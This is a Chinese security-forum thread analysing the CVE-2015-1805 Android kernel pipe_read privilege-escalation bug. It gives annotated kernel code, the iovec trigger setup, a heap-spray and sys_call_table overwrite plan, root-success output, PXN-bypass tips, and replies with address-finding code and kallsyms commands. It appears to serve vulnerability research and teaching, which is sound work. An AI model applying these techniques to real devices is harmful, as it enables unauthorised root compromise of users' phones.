首页
社区
课程
招聘
[原创][首发]CVE-2015-1805 安卓手机提权ROOT漏洞 分析
发表于: 2016-5-25 14:30 24723

[原创][首发]CVE-2015-1805 安卓手机提权ROOT漏洞 分析

2016-5-25 14:30
24723

前言:
在网上找了一圈,虽然有CVE-2015-1805的相关资料,却没有发现完整的利用代码(找了一份POC,但是我自己测试没有使机器崩溃),所以。。。这个CVE虽然是2015年公布的,但是以为影响不大,很多分支都没有更新,导致了2016年2月份的代码都有漏洞

测试机器:nexus4       android版本:4.4   内核版本3.4.0
漏洞介绍:堆数组越界访问,导致任意地址可写任意值
漏洞利用:修改函数指针,进行提权操作

一:伪漏洞描述

为了方便理解,我简化了函数,伪代码如下

1.出错误函数是内核的pipe_read函数

struct iovec
{
        void *iov_base;
        int iov_len;
};
char g_from[0x3000] = {0};

pipe_read(...)
{
        struct iovec * iov = malloc(0x200 * sizeof(struct iovec));
        ...
        ...
        for (int i = 0 ; i < 0x200 ; i++)
        {
                //这个函数的作用是检查iov里面的base值,必须为有效的内存, 不区分用户内存或者内核内存
                atomic = !iov_fault_in_pages_write(iov, chars);
                if (atomic)
                {
                        copy = min_t(unsigned long, len, iov[i]->iov_len);
                        memcpy(iov[i]->iov_base, from, copy);
                }
        }
}

2.
此函数的作用如下:
把缓冲区from的值,分别拷贝到数组iov[i]->iov_base里面
我们可以控制iov[i]->iov_base,iov[i]->iov_len的值 和 from里面的内容

3.
假设我们可以让i溢出,会产生数组访问越界,
memcpy(iov[0x200]->iov_base, from, copy);
memcpy(iov[0x201]->iov_base, from, copy);
...
如果我们又能控制
iov[0x200]->iov_base的值,那么我们就可以实现一个任意地址写任意值了。

4.
提权思路,当i溢出后,我们只要能控制iov[0x200]->iov_base的值就能达到任意地址写的目录。

而iov的分配是在内核堆(slab机制)里面,那我们可以利用sendmsg堆喷,来构造iov[0x200]->iov_base的值
图如下:
堆空间
|第1个页        |第2个页
--------------------sendmsg喷----
|iov[0x0]       |iov[0x200]     |
|               |               |
|               |               |
|               |               |
|               |               |
|               |               |
|               |               |
|               |               |
|               |               |
|               |               |
|               |               |
|               |               |
|               |               |
|iov[0x1ff]     |               |
---------------------------------

备注:
有关堆喷和slab机制,可以查阅一下相关资料,这里就不在展开了。
啰嗦一句,在去年的cve-2015-3636(ping_unhash)和UAF类型的洞也用到这2个机制,个人感觉这个漏洞比ping_unhash要稍微复杂一些。。

二:漏洞描述
好了,看完上面的伪代码。知道此洞大概是个神马意思了,我们来看一下完整真实代码。
小弟才粗学浅,尽量把我知道的表达清楚,如果有错误和遗漏的地方,欢迎各位大牛指正,小弟在此谢过了!!!

1.比较关键的函数就2个

//真正的拷贝函数 相当于memcpy 不同的地方在于,根据atomic的值 会做一个内存是否为内核内存的检查
static int
pipe_iov_copy_to_user(struct iovec *iov, const void *from, unsigned long len,
                      int atomic)
{
        unsigned long copy;

        while (len > 0) {
                while (!iov->iov_len)
                        iov++;
                copy = min_t(unsigned long, len, iov->iov_len);
                if (atomic) {
                        //这个条件如果为真,直接拷贝 不会检查iov->iov_base的值是否为用户内存
                        if (__copy_to_user_inatomic(iov->iov_base, from, copy))
                                return -EFAULT;
                } else {
                        //这里检查iov->iov_base内存,如果为内核内存就不拷贝,直接返回,所以我们不能走这个分支
                        if (copy_to_user(iov->iov_base, from, copy))
                                return -EFAULT;
                }
                from += copy;
                len -= copy;
                iov->iov_base += copy;
                iov->iov_len -= copy;
        }
        return 0;
}

static ssize_t
pipe_read(struct kiocb *iocb, const struct iovec *_iov,
           unsigned long nr_segs, loff_t pos)
{
        ...+++++...
        //这是一个关键值,就是因为这个值 在走goto redo分支时候没有更新,引发的问题
        total_len = iov_length(iov, nr_segs);

        ...+++++...
        for (;;) {
                int bufs = pipe->nrbufs;
                if (bufs) {
                        int curbuf = pipe->curbuf;
                        struct pipe_buffer *buf = pipe->bufs + curbuf;
                        const struct pipe_buf_operations *ops = buf->ops;
                        void *addr;
                        size_t chars = buf->len;
                        int error, atomic;

                        if (chars > total_len)
                                chars = total_len;

                        error = ops->confirm(pipe, buf);
                        if (error) {
                                if (!ret)
                                        ret = error;
                                break;
                        }
                        //判断iov[i]->base是否为有效内存
                        atomic = !iov_fault_in_pages_write(iov, chars);
redo:
                        //然而这句并没有什么卵用,忽略就好
                        addr = ops->map(pipe, buf, atomic);
                        //这里是最关键的一句了。。。各位爷看清楚 看仔细了。。。
                        //完成整个漏洞的利用,这函数一共要调用三次
                        error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);

                        ops->unmap(pipe, buf, addr);
                        if (unlikely(error)) {
                                /*
                                 * Just retry with the slow path if we failed.
                                 */
                                //这里也是比较关键的一句
                                if (atomic) {
                                        atomic = 0;
                                        goto redo;
                                }
                                ...+++++...
                        }
                        ret += chars;
                        buf->offset += chars;
                        buf->len -= chars;
                        ...+++++...
                        total_len -= chars;
                        if (!total_len)
                                break;        /* common path: read succeeded */
                }
                if (bufs)        /* More to do? */
                        continue;
                ...+++++...
        return ret;
}

2.
首先来看看,函数为什么会逻辑错误

我们先构造一个iov[200] 的数组
struct iovec iov[0x200];
for (i = 0; i < 0x200; i++)
{
        iov[i].iov_base = 0x4000000+i*i;
        if (i == 0)
        {
                iov[i].iov_len = 0;
        }
        else if (i == 1)
        {
                iov[i].iov_len = 0x20;
        }
        else
        {
                iov[i].iov_len = 0x8;
        }

}

构造好参数后,我们调用
readv(fd_pipe, iov, 0x200);
进入pipe_read函数
下面这行会调用三次,完成整个漏洞的触发
error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);

第一次循环调用时
                        ...+++...
                        {
                        //检查base 是否有效 设置atomic为1
                        //所以第一次我们要把iov[i]->iov_base 的值全部设置为有效
                        atomic = !iov_fault_in_pages_write(iov, chars);
redo:
                        ...+++...
                        //当第一次时 atomic = 1 ; chars = 0x1000 ; total_len = 0x1010
                        //程序进入pipe_iov_copy_to_user函数拷贝时,我们让他拷贝失败
                        error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);

                        //返回错误 进入redo分支
                        ops->unmap(pipe, buf, addr);
                        if (unlikely(error)) {
                                /*
                                 * Just retry with the slow path if we failed.
                                 */
                                if (atomic) {
                                        atomic = 0;
                                        goto redo;
                                }
                        }
                        ...+++...
                       
                        ===============================================================================================
                        准备调用 pipe_iov_copy_to_user 时,iov的值如下
                        iov[0]->iov_base = 0x40000000;
                        iov[0]->iov_len = 0x0;
                        iov[1]->iov_base = 0x40001000;
                        iov[1]->iov_len = 0x20;
                        iov[2]->iov_base = 0x40002000;
                        iov[2]->iov_len = 0x8;
                        iov[3]->iov_base = 0x40003000;
                        iov[3]->iov_len = 0x8;
                        iov[4]->iov_base = 0x40004000;
                        iov[5]->iov_len = 0x8;

                        ===============================================================================================
                        进入 pipe_iov_copy_to_user 函数,进行拷贝操作。
                        这个时候,,假如我们把 iov[2]->iov_base = 0x40002000; 这个内存地址 属性设置成无效
                        那么__copy_to_user_inatomic 函数就会执行错误,直接错误返回

                        这时 iov的值如下
                        iov[0]->iov_base = 0x40000000;
                        iov[0]->iov_len = 0x0;
                        iov[1]->iov_base = 0x40001000;
                        iov[1]->iov_len = 0x0;                        ==================》这个值已经改变了
                        iov[2]->iov_base = 0x40002000;
                        iov[2]->iov_len = 0x8;
                        iov[3]->iov_base = 0x40003000;
                        iov[3]->iov_len = 0x8;
                        iov[4]->iov_base = 0x40004000;
                        iov[5]->iov_len = 0x8;
                       
                        函数返回以后继续走 goto redo; 这个循环,进入第二次循环
               
                       

第二次循环调用时
                                                ...+++...
                        {

                        atomic = !iov_fault_in_pages_write(iov, chars);
redo:
                        ...+++...
                        //当第二次时 atomic = 0 ; chars = 0x1000 ; total_len = 0x1010
                        //程序进入pipe_iov_copy_to_user函数
                        //这个时候 我们必须把  iov[2]->iov_base = 0x40002000; 这个内存地址 属性设置有效
                        //让函数可以正确返回
                        error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);

                        ops->unmap(pipe, buf, addr);
                        if (unlikely(error)) {
                                /*
                                 * Just retry with the slow path if we failed.
                                 */
                                if (atomic) {
                                        atomic = 0;
                                        goto redo;
                                }
                                ...+++...
                        }
                       
                        total_len -= chars;
                        ...+++...
                        }

                        ===============================================================================================
                        准备调用 pipe_iov_copy_to_user 时,iov的值如下

                        iov[0]->iov_base = 0x40000000;
                        iov[0]->iov_len = 0x0;
                        iov[1]->iov_base = 0x40001000;
                        iov[1]->iov_len = 0x0;                ===========>这里的值0x20其实已经被消耗掉了。。但是total_len确没有减掉0x20。。导致了漏洞
                        iov[2]->iov_base = 0x40002000;
                        iov[2]->iov_len = 0x8;
                        iov[3]->iov_base = 0x40003000;
                        iov[3]->iov_len = 0x8;
                        iov[4]->iov_base = 0x40004000;
                        iov[5]->iov_len = 0x8;
                       
                        ===============================================================================================
                        这个时刻,我们必须又要把 iov[2]->iov_base = 0x40002000; 这个内存地址 属性设置成有效,让函数可以正常运行下去。
                        pipe_iov_copy_to_user函数执行完毕以后,iov的值如下
                       
                        iov[0]->iov_base = 0x40000000;
                        iov[0]->iov_len = 0x0;
                        ..+++...
                        iov[0x1ff]->iov_base = 0x401ff000;
                        iov[0x1ff]->iov_len = 0x0;
                       
                        到这个时刻,系统分配的iov[0x200] 其实已经使用完毕,
                        但是因为第一次调用时故意引发的错误导致 total_len -= chars; 并没有更新,还会继续第三次循环

                        继续往下执行 total_len = 0x1010   chars = 0x1000
                        total_len -= chars;
                        total_len = 0x10

                       
第三次循环调用
                                                ...+++...
                        {
                       
                        atomic = !iov_fault_in_pages_write(iov, chars);
redo:
                        ...+++...
                        //当第三次时 atomic = 1 ; chars = 0x10; total_len = 0x10
                        //程序进入pipe_iov_copy_to_user函数
                        error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);

                        ...+++...
                        }

                        iov[0]->iov_base = 0x40000000;
                        iov[0]->iov_len = 0x0;
                        ..+++...
                        iov[0x1ff]->iov_base = 0x401ff000;
                        iov[0x1ff]->iov_len = 0x0;
                        iov[0x200]->iov_base         = ????????;
                        iov[0x200]->iov_len        = ????????;
                       
                        再次进入pipe_iov_copy_to_user
                        但是因为 0x1ff 项已经使用完了。。会继续累加
                        iov[0x1ff]->iov_base = 0x401ff000;
                        iov[0x1ff]->iov_len = 0x0;

                        就会开始往0x200项的iov_base写值了,这样就产生了一个 数组越界的漏洞
                       
                        iov[0x200]->iov_base         = ????????;
                        iov[0x200]->iov_len        = ????????;

                        这样的话,我们只要控制 iov[0x200]->iov_base 和 iov[0x200]->iov_len 的内容,就达到了内核任意地址写任意值得目录

3.
利用sendmsg堆喷,如果iov[0x200]这个地址刚好落到我们堆喷的堆内存,那么相当于iov[0x200]->iov_base和iov[0x200]->iov_len
是我们可以控制的,源码里面解释的比较清楚,这里就不在描述了

三:编写攻击代码

1.附加提供了完整的代码下载链接
代码里面加入了大量的注释,方便大家阅读。
首先看看运行效果

///////////////////////////////////////////////
///////////////////////////////////////////////
shell@mako:/data/local/tmp $ ./exploit
./exploit
edit addr : c000df64
edit values : b6f2227c
-------------star---------------------
uid = 2000
gid = 2000
uid = 0
gid = 0
ROOT SUCCESS
///////////////////////////////////////////////
///////////////////////////////////////////////


这是我在nexus4机器上面通过的代码。。可以直接ROOT成功

下面是内核打印的信息

第二次循环进入
<4>[ 1626.645292] i_k :2 atomic:0 chars:fc0 total_len:1010 iov:ec9dc000
<4>[ 1626.645444] i_k 2 i_k i:0 iov_tmp->iov_base:40000000 iov_tmp->iov_len:0 chars:50
<4>[ 1626.645627] i_k i:1fa iov_tmp->iov_base:401fa000 iov_tmp->iov_len:8

<4>[ 1626.645749] i_k i:0 iov_tmp->iov_base:401fb000 iov_tmp->iov_len:8
<4>[ 1626.645810] i_k i:1 iov_tmp->iov_base:401fc000 iov_tmp->iov_len:8
<4>[ 1626.645932] i_k i:2 iov_tmp->iov_base:401fd000 iov_tmp->iov_len:8
<4>[ 1626.645994] i_k i:3 iov_tmp->iov_base:401fe000 iov_tmp->iov_len:8
<4>[ 1626.646116] i_k i:4 iov_tmp->iov_base:401ff000 iov_tmp->iov_len:8
<4>[ 1626.646177] i_k i:5 iov_tmp->iov_base:0 iov_tmp->iov_len:0
<4>[ 1626.646299] i_k i:6 iov_tmp->iov_base:c000df64 iov_tmp->iov_len:10        ====》这里访问已经越界了,开始往我们指定的内存写值了
<4>[ 1626.646360] i_k i:7 iov_tmp->iov_base:30000000 iov_tmp->iov_len:1000
<4>[ 1626.646482] i_k i:8 iov_tmp->iov_base:30000000 iov_tmp->iov_len:1000

第三次循环进入
<4>[ 1626.649107] i_k 3 atomic:1
<4>[ 1626.649168] i_k :3 atomic:1 chars:50 total_len:50 iov:ec9dc000

2.唯一的硬编码处,必须与机器匹配。当然也可以用其他方法配合,绕过硬编码
//nexus4 4.4
//c000db28 T sys_call_table
#define SYS_CALL_TABLE 0xc000db28


3.代码编译环境
编译环境:
win7 64位
android-ndk-r11c-windows-x86_64.zip

四:感谢
感谢一下以下写两篇文章的大牛,有机会的话希望跟大牛交流,求抱大腿 @__@

http://bobao.360.cn/learning/detail/2810.html
http://www.retme.net/index.php/2016/03/19/some-points-on-cve-2015-1805.html?utm_source=tuicool&utm_medium=referral

五:题外话
1.利用范围:这个漏洞的攻击面很广泛的,本人在安卓 4.3 到 6.0.1 的机型 都成功利用,而且成功率也非常不错,虽然有偶尔重启的情况,第一次调用基本成功(因为没有4.3以下的样机)

2.利用细节:在5.0以后的版本攻击细节有一些不一样,比如sys_call_table地址不可写(可以用虚函数指针绕过),然后PXN机制(可以用gadgets绕过)

3.漏洞配合:这个漏洞可以跟内核信息泄漏漏洞一起使用,达到很好的攻击效果。比如 qtaguid_ctrl_proc_read 这个函数可以泄漏sk指针的值,sk->sk_prot->close()
            得到sk指针的值后,覆盖sk_prot的的值,然后让close()指向我们构造好的函数

4.其他:如果阅读代码发现有什么错误和遗漏的地方,希望大家指正。或者有不明白的地方可以QQ跟我交流..

QQ : 3455456608 一起交流学习~请大牛们收下我的膝盖。

如果有对安卓漏洞方面感兴趣的,可以联系我。。
帮朋友找2个小伙伴有编程和逆向基础即可。。。


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 3
支持
分享
最新回复 (33)
雪    币: 416
活跃值: (117)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
2
沙发自己抢
好像 keenteam 在7月份的 黑客大会上 会分享这个漏洞的细节。。。。有福利了。。
有问题的话,,我统一在这里回复了。。

问题一:
有朋友问
===========================
你好  最近也在看1805这个漏洞
syscall(271)这个调用有什么作用么?
===========================

首先syscall(271) 是调用了 sys_call_table 第 271 个函数。。

那么为什么调用这个函数 就可以提权了呢?

因为 我们利用漏洞把 sys_call_table  + 271 *4 的函数地址 改成了。。我的提权函数。。so

问题二:
有几个朋友问到sys_call_table的地址怎么得到?
如果只是为了测试,可以用一下方法
用su权限执行
echo 0 > /proc/sys/kernel/kptr_restrict
然后用下面命令
cat /proc/kallsyms |grep sys_call_table

如果想做成产品的话。。不同版本的的sys_call_table的获取方法,,不太一样
而且高版本还没有办法获取到,这里可能还要需要通过别的方法,说起来比较相对复杂,就不在一一描述了
2016-5-25 14:31
0
雪    币: 138
活跃值: (470)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
4
可以不用硬编码 获取 vector_swi 地址如下
unsigned long* get_vector_swi_addr()
{
  const void *swi_addr = 0xFFFF0008;
  unsigned long vector_swi_offset = 0;
  unsigned long vector_swi_instruction = 0;
  unsigned long *vector_swi_addr_ptr = NULL;
 
  memcpy(&vector_swi_instruction, swi_addr, sizeof(vector_swi_instruction));
  vector_swi_offset = vector_swi_instruction & (unsigned long)0x00000fff;
  vector_swi_addr_ptr = (unsigned long *)((unsigned long)swi_addr + vector_swi_offset + 8);
  return *vector_swi_addr_ptr;
}


如代码有错误欢迎指正;

原理见:http://phrack.org/issues/68/6.html

同样欢迎在研究ROOT Fuzz漏洞的同学加我一块交流~ ,我的联系方式在右边 扣扣 图标。
2016-5-25 16:15
0
雪    币: 138
活跃值: (470)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
5
对了,上诉代码没有考虑 CONFIG_OABI_COMPAT 的情况;
2016-5-25 16:38
0
雪    币: 416
活跃值: (117)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
6
!!!!
2016-5-25 16:56
0
雪    币: 416
活跃值: (117)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
7
这也是一种不错的得到sys_call_table地址的方法,但是在5.0以后的版本 就被屏蔽掉掉了。。在5.0以前的机器上,还是可以用这种方法的。。。

4.0.1以前的机器可以直接通过/proc/kallsyms 直接读到sys_call_table的地址,,
2016-5-25 16:57
0
雪    币: 111
活跃值: (219)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
地址在哪里呢
2016-5-25 17:00
0
雪    币: 191
活跃值: (195)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
9
厉害高端的东西看不懂。看不懂也逼着自己看一点点,谢谢分享,顶顶
2016-5-25 17:14
0
雪    币: 1305
活跃值: (252)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
10
感谢分享
2016-5-25 17:59
0
雪    币: 183
活跃值: (1213)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
11
感谢分享。
2016-5-25 18:24
0
雪    币: 144
活跃值: (178)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
又看到新作品,感谢
2016-5-25 19:44
0
雪    币: 341
活跃值: (138)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
13
好厉害 收藏
2016-5-25 20:09
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
关注学习
2016-5-26 09:19
0
雪    币: 6976
活跃值: (1477)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
15
今天一早来就看到了, 顶一个!
2016-5-26 09:31
0
雪    币: 416
活跃值: (117)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
16
有朋友问
===========================
你好  最近也在看1805这个漏洞
syscall(271)这个调用有什么作用么?
===========================

首先syscall(271) 是调用了 sys_call_table 第 271 个函数。。

那么为什么调用这个函数 就可以提权了呢?

因为 我们利用漏洞把 sys_call_table  + 271 *4 的函数地址 改成了。。我的提权函数。。so
2016-5-26 10:25
0
雪    币: 86
活跃值: (2460)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
网上有完整的代码
https://github.com/dosomder/iovyroot
2016-5-26 11:45
0
雪    币: 34
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
感谢分享,又涨知识了
2016-5-27 18:02
0
雪    币: 456
活跃值: (150)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
谢谢分享!
2016-5-27 20:42
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
SYS_CALL_TABLE  地址在普通手机上如何获得呢?
2016-5-31 19:42
0
雪    币: 68
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
问个问题,安卓漏洞cve在哪里有查
2016-5-31 21:05
0
雪    币: 416
活跃值: (117)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
22
一楼 我已经回复了
2016-6-1 15:45
0
雪    币: 1305
活跃值: (252)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
23
http://androidvulnerabilities.org/all
这个地址把ANDROID的这几年的漏洞整理和分类比较全,你可以去看看。
2016-6-1 18:11
0
雪    币: 43
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
问个很白的问题, 这类漏洞最终如何利用
2016-6-21 14:58
0
雪    币: 416
活跃值: (117)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
25
生成的elf文件,也可以用apk直接启动,就完成了攻击丫。。
2016-6-21 17:13
0
游客
登录 | 注册 方可回帖
返回
//